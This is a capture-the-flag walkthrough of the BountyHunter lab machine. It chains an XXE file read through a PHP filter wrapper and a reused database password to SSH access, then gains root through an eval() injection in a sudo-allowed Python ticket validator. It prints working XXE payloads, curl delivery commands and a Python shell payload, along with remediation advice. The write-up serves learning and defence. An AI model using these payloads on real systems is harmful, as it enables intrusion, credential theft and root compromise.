- OS: Linux (Ubuntu 20.04)
- Domain / vhosts: none
Summary
BountyHunter is a Linux Easy with a clean two-stage chain: XXE injection
against a bug-bounty submission form that processes XML, and a sudo-allowed
Python script with eval() of attacker-controlled file content. The foothold
flow is: XML is base64-encoded before being sent, which slightly obscures the
attack surface but changes nothing about XXE exploitability; a PHP filter
wrapper (php://filter/convert.base64-encode/resource=…) exfiltrates file
contents without character-encoding issues; db.php contains a database
password that is reused by the development system account; SSH as
development lands the foothold. The privilege escalation is a single sudo
rule that permits running a Python 3.8 script that passes a line of a
Markdown ticket file directly into eval() — no sanitisation — giving the
caller arbitrary code execution as root.
Kill-chain: log_submit.php bounty form POSTs base64-encoded XML →
XXE with php://filter wrapper reads /var/www/html/db.php →
DB password reused for SSH as development → sudo /usr/bin/python3.8
/home/development/skytrain_inc/ticketValidator.py →
crafted .md ticket with Python expression in ticket-code field →
eval() executes __import__('os').system('bash') → root.
Source attribution
- 0xdf, “HTB: BountyHunter” — https://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html.
Primary source. Covers the base64 XML format, the PHP filter XXE exfiltration,
db.phpcredential discovery, SSH reuse, and theticketValidator.pyeval injection. - IppSec, “BountyHunter” video walkthrough — https://ippsec.rocks/?#BountyHunter.
Recon
nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
Only SSH and HTTP. Apache 2.4.41 indicates Ubuntu 20.04.
Web enumeration
feroxbuster -u http://<TARGET>/ -x php
Key findings:
/index.php (200)
/portal.php (200)
/log_submit.php (200) ← bug bounty submission form
/tracker_diRbPr00f314.php (200) ← POST handler for form data
/db.php (200) ← blank response, but readable via XXE
The form at /log_submit.php collects bug report fields (title, CWE, CVSS,
reward) and submits them to /tracker_diRbPr00f314.php.
Foothold — XXE injection via base64-encoded XML
Intercept the form submission in Burp. The POST body is:
data=<base64-encoded-XML>
Decoded, the XML structure is:
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>Title</title>
<cwe>CWE</cwe>
<cvss>9.8</cvss>
<reward>1000</reward>
</bugreport>
The server processes this XML with a parser that supports external entity declarations. Craft an XXE payload using PHP’s filter wrapper to base64-encode the target file’s content — this avoids issues with XML special characters in the response:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT bar ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
]>
<bugreport>
<title>&xxe;</title>
<cwe>test</cwe>
<cvss>9.8</cvss>
<reward>500</reward>
</bugreport>
Base64-encode the entire payload and send it as the data parameter:
python3 -c "import base64; print(base64.b64encode(open('xxe.xml','rb').read()).decode())"
curl -s http://<TARGET>/tracker_diRbPr00f314.php \
--data-urlencode "data=<base64 payload>"
The response contains the base64-encoded /etc/passwd. Decode it to confirm
the development user:
development:x:1000:1000:Development:/home/development:/bin/bash
Now read /var/www/html/db.php the same way:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php" >
Decoded, db.php contains database credentials. The password in that file is
reused for the development system account:
ssh development@<TARGET>
# Password: <from db.php>
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
user.txt is at /home/development/user.txt.
Privilege escalation — eval() injection in ticketValidator.py
development@bountyhunter:~$ sudo -l
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /home/development/skytrain_inc/ticketValidator.py
The script reads a .md file path from stdin, then validates it with the
following logic (simplified):
# Line 1 must be: # Skytrain Inc
# Line 2 must be: ## Ticket to <destination>
# A line matching **Ticket Code:** is found
# The value after stripping ** is passed to eval():
validationNumber = eval(x.replace("**", ""))
The script validates the file’s Markdown structure but passes the
ticket-code field directly to eval() without any sanitisation. Since the
.md file is under the attacker’s home directory and world-writable by
development, the content is fully attacker-controlled.
Create a malicious ticket file:
cat > /home/development/skytrain_inc/exploit.md << 'EOF'
# Skytrain Inc
## Ticket to Bridgeport
__Ticket Code:__
**32+110+43+ __import__('os').system('bash')**
EOF
The arithmetic expression (32+110+43) satisfies any numeric-value check in
the script; the + chains the system() call. eval() evaluates the entire
expression as Python, which executes os.system('bash') as root.
Trigger the exploit:
sudo /usr/bin/python3.8 /home/development/skytrain_inc/ticketValidator.py
# Enter the path: /home/development/skytrain_inc/exploit.md
root@bountyhunter:/home/development/skytrain_inc# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
Why each step worked
- XXE with base64 encoding in transit: the fact that the XML is base64- encoded before transmission is irrelevant to exploitability — the server decodes and parses it in exactly the same way as a raw XML POST. Base64 encoding is not a security control; it is a transport encoding. The XXE vulnerability is entirely in the server-side XML parser configuration.
php://filter/convert.base64-encode: reading files via a directfile:///entity fails when the file content contains XML special characters (<,>,&) that break the response XML. The PHP filter wrapper converts the file to base64 before substitution, sidestepping this issue. This technique works on any PHP-backed XXE target.db.phpcredential reuse for system account: the database password was identical to the system account password fordevelopment. Application credential files (db.php,.env,config.php) are high-value targets for credential reuse against SSH andsu.eval()of attacker-controlled file content: Python’seval()executes arbitrary expressions. The script validated the structure of the ticket file (checking the correct Markdown headers) but did not restrict the value of the ticket code field before evaluating it. Any approach that passes external input toeval(),exec(), oros.system()without a strict allowlist is equivalent to an arbitrary code execution sink.
Counterfactuals
- Disable external entity processing in the XML parser. In PHP/libxml2:
libxml_disable_entity_loader(true)(or use a parser with no entity support by default). External entity resolution should be off by default for any XML parser that handles user input. - Do not reuse database credentials as system account passwords. Application
credential files should be readable only by the web server process user; the
developmentaccount should use a separate, independent password. - Replace
eval()inticketValidator.pywith a strict numeric check:int(x.replace("**", ""))or a regex match against^\d+$.eval()must never be called on attacker-controlled data. - Restrict the
sudorule to prevent the user from controlling the input file: either hardcode the ticket file path in the script, or run the script as a system service rather than viasudo.
Key Takeaways
- Base64 does not prevent XXE: whenever a web form submits data that decodes to XML on the server, XXE is the first thing to test. Transport encoding is irrelevant to the parser.
php://filter/convert.base64-encode/resource=<path>is the standard PHP XXE file-read wrapper. It avoids XML character encoding issues and works on any file the web server user can read, including PHP source files that would normally execute instead of displaying.db.phpand.envfiles are credential stores: after confirming an LFI or XXE, the/var/www/html/directory is the first search path.db.php,config.php,.env, andwp-config.phpfrequently contain database passwords that are reused for system account SSH login.sudorules running Python scripts that useeval()/exec(): check the script source immediately. If the script reads a file whose path you control, or reads any attacker-influenced data intoeval(), thesudorule is exploitable. The__import__('os').system('bash')pattern is the canonicaleval()injection payload.
References
- 0xdf, “HTB: BountyHunter” — https://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html
- IppSec, “BountyHunter” — https://ippsec.rocks/?#BountyHunter
- XXE via PHP filter wrapper — OWASP XXE Prevention Cheat Sheet